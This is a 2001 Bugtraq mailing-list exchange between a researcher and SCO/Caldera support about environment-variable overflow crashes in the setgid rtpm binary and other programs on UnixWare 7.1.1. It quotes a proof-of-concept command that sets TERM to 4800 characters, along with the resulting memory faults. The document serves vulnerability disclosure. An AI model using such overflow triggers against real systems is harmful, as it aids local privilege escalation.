[20979] in bugtraq
Re: your mail
daemon@ATHENA.MIT.EDU (Aycan Irican)
Tue Jun 12 14:09:00 2001
Date: Tue, 12 Jun 2001 12:38:31 +0300 (EEST)
From: Aycan Irican <aycan@mars.prosoft.com.tr>
To: Security Response Alias <tigger@sco.COM>
Cc: <bugtraq@securityfocus.com>
In-Reply-To: <200106111845.f5BIjF726926@ergo.uss.sco.com>
Message-ID: <20010612122010.J32621-100000@mars.prosoft.com.tr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Fixing it all in a new release rather than releasing a patch for the past
releases ? cool.
I wrote your e-mail somewhere. But getting Support for the OS that we sell
shouldn't be that hard. When it comes security it's easy u know :)
On Mon, 11 Jun 2001, Security Response Alias wrote:
> ,
> tigger@sco.com
> Subject: Re: Unixware 7.1.1 rtpm
> Date: Mon, 11 Jun 2001 11:45:15 -0700 (PDT)
>
>
> To: aycan@mars.prosoft.com.tr
>
> Dear Aycan Irican,
>
> The bash shell, and anything in /usr/local/bin is not shipped with,
> nor supported on 7.1.1.
>
> The standard commands that you cite do fail in 7.1.1. These have been
> fixed in our upcoming release of OpenUnix 8 (the next release of
> UnixWare):
>
> $ ksh -o emacs
> $ export TERM=`perl -e 'printf "B"x4800'`
> $ /usr/sbin/rtpm
> TERMINFO pathname for device exceeds 512 characters.
> $ ndcfg
> BBB ... BBB:terminfo too long
> ndcfg>
> $ scoadmin
> TERMINFO pathname for device exceeds 512 characters.
> Fatal error: (vTcl interp) Connection closed unexpectedly - No Data
> Error Information logged to: /tmp/tclerror.18226.log
> $
>
> We would prefer that you contact us first, before sending mail to the
> bugtraq alias, but we do appreciate information concerning possible
> security violations in our products.
>
> Sincerely,
>
> Caldera Support
>
>
>
>
> ----- Forwarded message from Aycan Irican <aycan@mars.prosoft.com.tr> -----
>
> Date: Mon, 11 Jun 2001 09:43:03 +0300 (EEST)
> From: Aycan Irican <aycan@mars.prosoft.com.tr>
> To: <bugtraq@securityfocus.com>
> Subject: Unixware 7.1.1 rtpm
>
>
> $ uname -a
> UnixWare paris 5 7.1.1 i386 x86at SCO UNIX_SVR5
> (this is a two node NSC)
>
> $ id
> uid=101(fixxxer) gid=1(other)
> $ ls -al /usr/sbin/rtpm
> -r-xr-sr-x 1 bin sys 288324 Mar 22 22:35 /usr/sbin/rtpm
> $ export TERM=`perl -e 'printf "B"x4800'`
> $ rtpm
> Memory fault
> $ bash
> Memory fault(coredump)
> $ vi
> Memory fault(coredump)
> $ ndcfg
> Memory fault(coredump)
> $ scoadmin
> Fatal error: (vTcl interp) Connection closed unexpectedly - No Data
> Error Information logged to: /tmp/tclerror.131977.log
> $ more
> Memory fault
> $ man sendmail
> /usr/bin/html2ascii: line 34: 132022: Memory fault
> $ /usr/local/bin/less
> Memory fault
> $ /usr/local/bin/gdb rtpm
> Memory fault
>
> lots of bugs...self-explained...
>
>
>
> ----- End forwarded message -----
>
